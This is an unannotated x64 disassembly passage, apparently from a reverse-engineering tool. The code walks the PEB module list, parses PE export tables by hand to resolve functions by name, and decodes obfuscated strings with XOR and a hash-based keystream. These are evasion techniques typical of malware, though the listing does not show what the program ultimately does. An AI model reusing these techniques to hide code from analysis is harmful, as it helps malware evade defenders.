movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14003fc6e
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14003fc6e
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor ecx, ecx
mov r10d, ecx
mov r9d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14003fc5d
xor dl, dl
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x14003fc52
mov r8, r14
sub r8, rcx
movzx eax, byte [rcx + r8]
test al, al
je 0x14003fc4e
cmp byte [rcx], al
jne 0x14003fc52
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14003fc26
movzx eax, word [r12 + r9*2]
mov r10d, dword [r15 + rax*4]
add r10, r11
xor r15d, r15d
jmp 0x14003fc7c
test dl, dl
jne 0x14003fc3d
inc r10d
inc r9
cmp r10d, ebx
jb 0x14003fc13
cmp qword [rsi + 0x60], 0
je 0x14003fc76
mov ebx, 0x5a4d
jmp 0x14003fbb0
xor r15d, r15d
mov r10d, r15d
jmp 0x14003fc81
xor r15d, r15d
mov r10, r15
mov ebx, 0x5a4d
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
mov r9d, 0xffffffff
mov r8, r13
xor edx, edx
mov ecx, 0xfde9
call r10
mov dword [rsp + 0x44], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp + 0x10]
call fcn.14001e3a0
or dword [rsp + 0x40], 0x100
lea r13, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae r13, qword [rbp + 0x10]
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rax, qword [rbp - 0x30]
mov qword [rbp - 0x60], rax
lea rcx, [rbp + 0x50]
call fcn.1400405c0
mov rcx, rax
call fcn.14001d6f0
mov r12, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
cmp qword [rsi + 0x60], 0
je 0x14003fdd1
nop dword [rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x14003fdbd
cmp word [r11], bx
jne 0x14003fdce
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x14003fdce
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x14003fdce
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov edi, dword [rax + 0x20]
add rdi, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor ecx, ecx
mov r10d, ecx
mov r9d, ecx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14003fdbd
xor dl, dl
mov ecx, dword [rdi + r9*4]
add rcx, r11
cmp byte [rcx], dl
je 0x14003fdb2
mov r8, r12
sub r8, rcx
movzx eax, byte [rcx + r8]
test al, al
je 0x14003fdae
cmp byte [rcx], al
jne 0x14003fdb2
mov dl, 1
inc rcx
cmp byte [rcx], 0
jne 0x14003fd86
movzx eax, word [r15 + r9*2]
mov r10d, dword [r14 + rax*4]
add r10, r11
xor r15d, r15d
jmp 0x14003fdd4
test dl, dl
jne 0x14003fd9d
inc r10d
inc r9
cmp r10d, ebx
jb 0x14003fd73
cmp qword [rsi + 0x60], 0
je 0x14003fdce
mov ebx, 0x5a4d
jmp 0x14003fd10
xor r15d, r15d
mov r10, r15
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r13
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x60]
xor edx, edx
mov ecx, 0xfde9
call r10
nop
lea rcx, [rbp - 0x30]
call fcn.140005a50
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
cmovae rax, rcx
mov r10, qword [rbp - 0x10]
test r10, r10
jne 0x14003fe23
mov eax, 0x10000
jmp 0x14003fe53
cmp dword [r10], 2
je 0x14003fe30
mov eax, 0x80000
jmp 0x14003fe53
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8, qword [rbp - 0x70]
mov rdx, rax
mov rcx, qword [r10 + 8]
call fcn.140032660
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x10]
mov dword [0x140186cd0], eax
mov ebx, dword [rsp + 0x40]
btr ebx, 8
cmp rdx, 8
jb 0x14003fe99
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fe94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004043f
call fcn.14012f66c
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], r15w
btr ebx, 7
mov dword [rsp + 0x40], ebx
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14003fef5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003feef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140040445
call fcn.14012f66c
nop
lea rcx, [rbp + 0x138]
call fcn.140005a50
mov r13d, 8
lea rcx, [rbp + 0x190]
call fcn.140005a50
lea rcx, [rbp + 0x190]
call fcn.140040cf0
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14003ff3d
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14003ff4c
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
mov r9d, r15d
lea r8, [rdi + 4]
mov r10, r8
mov r11, r13
nop
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x14003ff60
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov r14, rax
test rax, rax
jne 0x14003ffc1
mov r14, r15
jmp 0x14003ffe3
mov rcx, r14
mov edx, 0xd
nop dword [rax]
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x14003ffd0
mov byte [r14 + 0xd], dl
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x1400400d8
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x1400400ca
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x1400400d5
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400400d5
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400400d5
lea rax, [r11 + rcx]
mov r15d, dword [rax + 0x1c]
add r15, r11
mov ebx, dword [rax + 0x20]
add rbx, r11
mov r12d, dword [rax + 0x24]
add r12, r11
xor ecx, ecx
mov r10d, ecx
mov r9d, ecx
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1400400ca
nop dword [rax + rax]
xor dl, dl
mov eax, dword [rbx + r9*4]
add rax, r11
cmp byte [rax], dl
je 0x1400400bf
mov r8, r14
sub r8, rax
movzx ecx, byte [r8 + rax]
test cl, cl
je 0x1400400bb
cmp byte [rax], cl
jne 0x1400400bf
mov dl, 1
inc rax
cmp byte [rax], 0
jne 0x140040093
movzx eax, word [r12 + r9*2]
mov r8d, dword [r15 + rax*4]
add r8, r11
xor r15d, r15d
jmp 0x1400400db
test dl, dl
jne 0x1400400aa
inc r10d
inc r9
cmp r10d, edi
jb 0x140040080
cmp qword [rsi + 0x60], 0
jne 0x140040010
xor r15d, r15d
mov r8, r15
lea rdx, [rbp + 0x1f0]
mov r12, qword [rbp]
mov rcx, r12
call r8
test eax, eax
jne 0x14003eca0
mov cl, 0x5e
mov byte [rbp + 0x190], cl
mov dword [rbp + 0x1c0], 0x3a303718
mov dword [rbp + 0x1c4], 0x2d31321d
mov word [rbp + 0x1c8], 0x3b
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140040134
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140040143
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x194]
mov r10, r13
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140040160
mov eax, 9
nop dword [rax + rax]
inc eax
test al, 0xf
jne 0x1400401b0
mov qword [0x140187190], r15
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x1400401db
mov rbx, r15
jmp 0x140040229
mov dword [0x14018719c], edi
mov dword [0x140187198], 9
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movsd xmm0, qword [rbp + 0x1c0]
movsd qword [rbx + 8], xmm0
movzx eax, byte [rbp + 0x1c8]
mov byte [rbx + 0x10], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rbp + 0x194]
mov r8b, 1
call fcn.140052470
mov qword [rbp + 0x1b8], rbx
movsx ebx, byte [rbp + 0x190]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14004024f
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x14004025e
mov edx, 0x9d
call fcn.140052d80
imul r10d, ebx, 0x5bd1e995
mov r8d, r15d
lea r9, [rbp + 0x194]
nop
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r13, 1
jne 0x140040270
mov r9d, dword [0x14018719c]
lea r8, [rbp + 0x194]
mov rdx, qword [rbp + 0x1b8]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x1400402e0
mov rbx, r15
jmp 0x140040305
movzx eax, byte [rbp + 0x190]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
xor byte [rbx + 7], al
xor byte [rbx + 8], al
mov byte [rbx + 9], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
cmp qword [rsi + 0x60], 0
je 0x1400403ea
xor r13d, r13d
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x1400403dd
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x1400403e7
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400403e7
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400403e7
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, r13d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x1400403dd
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400403d1
mov rdx, rbx
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400403cc
cmp byte [rcx], al
jne 0x1400403d1
mov r8b, 1
inc rcx
cmp byte [rcx], r13b
jne 0x1400403a4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov r15d, dword [r14 + rcx*4]
add r15, r11
jmp 0x1400403ea
test r8b, r8b
jne 0x1400403bb
inc r10d
add r9, 4
cmp r10d, edi
jb 0x140040390
cmp qword [rsi + 0x60], r13
jne 0x140040330
xor r15d, r15d
mov rcx, r12
call r15
nop
lea rcx, [rbp + 0x1d0]
call fcn.140005a50
nop
mov rcx, qword [rbp - 0x68]
call fcn.140005a50
mov al, 1
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.14012f610
mov rbx, qword [rsp + 0x480]
add rsp, 0x440
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140005200
nop
call fcn.140005200
nop
call fcn.140136294
nop
call fcn.140136294
int3